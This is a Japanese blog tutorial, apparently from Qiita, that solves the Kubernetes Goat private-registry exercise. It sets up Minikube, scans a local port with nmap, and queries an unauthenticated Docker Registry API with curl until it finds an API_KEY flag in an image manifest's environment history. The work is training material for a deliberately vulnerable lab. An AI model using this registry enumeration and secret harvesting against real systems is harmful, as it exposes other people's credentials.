0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【ネタバレ注意!】Kubernetes Goatで遊ぶ〜脆弱なPrivate Registry編〜

Last updated at Posted at 2024-10-20

Kubernetes Goatで脆弱なプライベートレジストリをハックしよう!

今回は、Kubernetes Goatを使って脆弱なDocker Registryを攻略し、フラグを取得する方法を解説する。初学者向けに、Minikubeのセットアップから詳しく説明していく。
Kubenetes Goatとは意図的に脆弱性のある環境構築されたクラスター群である。いわゆるやられマシン。その中で、一番おもしろそうだったマシン、すなわちAttacking private registryを攻略していく。
で、セットアップ終わったら127.0.0.1:1235にポートフォワーディングされた事がわかるが、事前の説明がないとDockerRegistryが本当に動いているかわからないので、Nmapでポートスキャンなどもして、納得が行くように書いた。RustScanとかもで良いと思う。

目次

  1. 環境準備
  2. Kubernetes Goatのセットアップ
  3. 脆弱なDocker Registryへのアクセス
  4. Dockerイメージの調査
  5. フラグの取得
  6. まとめ

環境準備

必要なツールのインストール

  • Docker:コンテナを実行するために必要
  • Minikube:ローカル環境でKubernetesクラスターを動かすためのツール
  • kubectl:Kubernetesを操作するコマンドラインツール

Dockerのインストール

Docker公式サイトからDocker Desktopをダウンロードしてインストールする。

HomebrewでMinikubeとkubectlをインストール

brew update
brew install minikube kubectl

Minikubeの起動

minikube start

注意:エラーが出る場合は、Dockerが起動しているか確認する。

Minikubeのクリーンアップ(必要に応じて)

Minikubeの状態が不安定な場合は、一度削除して再作成する。

minikube delete
minikube start

Kubernetes Goatのセットアップ

リポジトリのクローン

git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat

Kubernetes Goatのデプロイ

chmod +x setup-kubernetes-goat.sh
./setup-kubernetes-goat.sh

注意kubectlが正しく設定されていることを確認する。

ポッドの確認

kubectl get pods

全てのポッドがRunningになっていることを確認する。

ポートフォワーディングの設定

chmod +x access-kubernetes-goat.sh
./access-kubernetes-goat.sh

これで、ローカルマシンのポート1230から1236に各サービスがフォワードされる。

脆弱なDocker Registryへのアクセス

ポートフォワーディングの確認

まず、kubectl port-forwardコマンドによってポートフォワーディングが正しく設定されているか確認する。

ps -ef | grep 'kubectl port-forward' | grep -v grep

コマンドの解説:

  • ps -ef:現在実行中の全てのプロセスを詳細表示する
  • grep 'kubectl port-forward':プロセス一覧からkubectl port-forwardを含む行を検索する
  • grep -v grep:検索結果からgrepコマンド自体を除外する

出力例:

501  1893     1   0  7:43PM ttys000    0:00.19 kubectl port-forward poor-registry-deployment-xxxxx --address 0.0.0.0 1235:5000

poor-registry-deploymentがポート1235にフォワードされていることを確認する。

Nmapでポートをスキャン

nmapコマンドを使って、ローカルホストのポート1235が開いているか確認する。

nmap -sV -p 1235 127.0.0.1

コマンドの解説:

  • nmap:ネットワーク探索ツール
  • -sV:サービスバージョン情報を検出する
  • -p 1235:ポート1235を指定してスキャンする
  • 127.0.0.1:ローカルホストを指定

出力例:

PORT     STATE SERVICE VERSION
1235/tcp open  http    Docker Registry (API: 2.0)

ポート1235でDocker Registryが稼働していることが確認できる。

Dockerイメージの調査

レジストリ内のリポジトリ一覧を取得

curl http://127.0.0.1:1235/v2/_catalog

出力例:

{"repositories":["madhuakula/k8s-goat-alpine","madhuakula/k8s-goat-users-repo"]}

リポジトリのタグを確認

curl http://127.0.0.1:1235/v2/madhuakula/k8s-goat-users-repo/tags/list

出力例:

{"name":"madhuakula/k8s-goat-users-repo","tags":["latest"]}

イメージのマニフェストを取得

Docker Registry APIを使って、イメージのマニフェストを取得する。

curl http://127.0.0.1:1235/v2/madhuakula/k8s-goat-users-repo/manifests/latest

コマンドの解説:

  • curl:HTTPリクエストを送信するコマンド
  • http://127.0.0.1:1235/v2/.../manifests/latest:Docker Registry APIのエンドポイントで、指定したイメージのマニフェストを取得する

このコマンドで、madhuakula/k8s-goat-users-repolatestタグに対応するイメージのマニフェストが取得できる。

マニフェストには以下の情報が含まれる:

  • イメージのレイヤー情報(fsLayersセクション)
  • ビルド履歴(historyセクション)
  • 環境変数や設定(v1Compatibility内)

マニフェストを解析することで、イメージ内に隠された情報やフラグを見つけることができる。

フラグの取得

マニフェストから環境変数を確認

マニフェストのhistoryセクションに注目。

例:

"Env":[
  "PATH=/usr/local/bin:...",
  "LANG=C.UTF-8",
  "API_KEY=k8s-goat-cf658c56a501385205cc6d2dafee8fc1"
]

API_KEYにフラグが含まれている。

フラグの確認

k8s-goat-cf658c56a501385205cc6d2dafee8fc1

このAPI_KEYがフラグとなる。

まとめ

  • 脆弱なDocker Registryにアクセスし、レジストリ内のイメージを調査することでフラグを取得した。

以上が、Kubernetes Goatで脆弱なDocker Registryを攻略する手順です。だれでも理解しやすいように、コマンドと共に解説したので、ぜひ参考にしてほしいです!

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?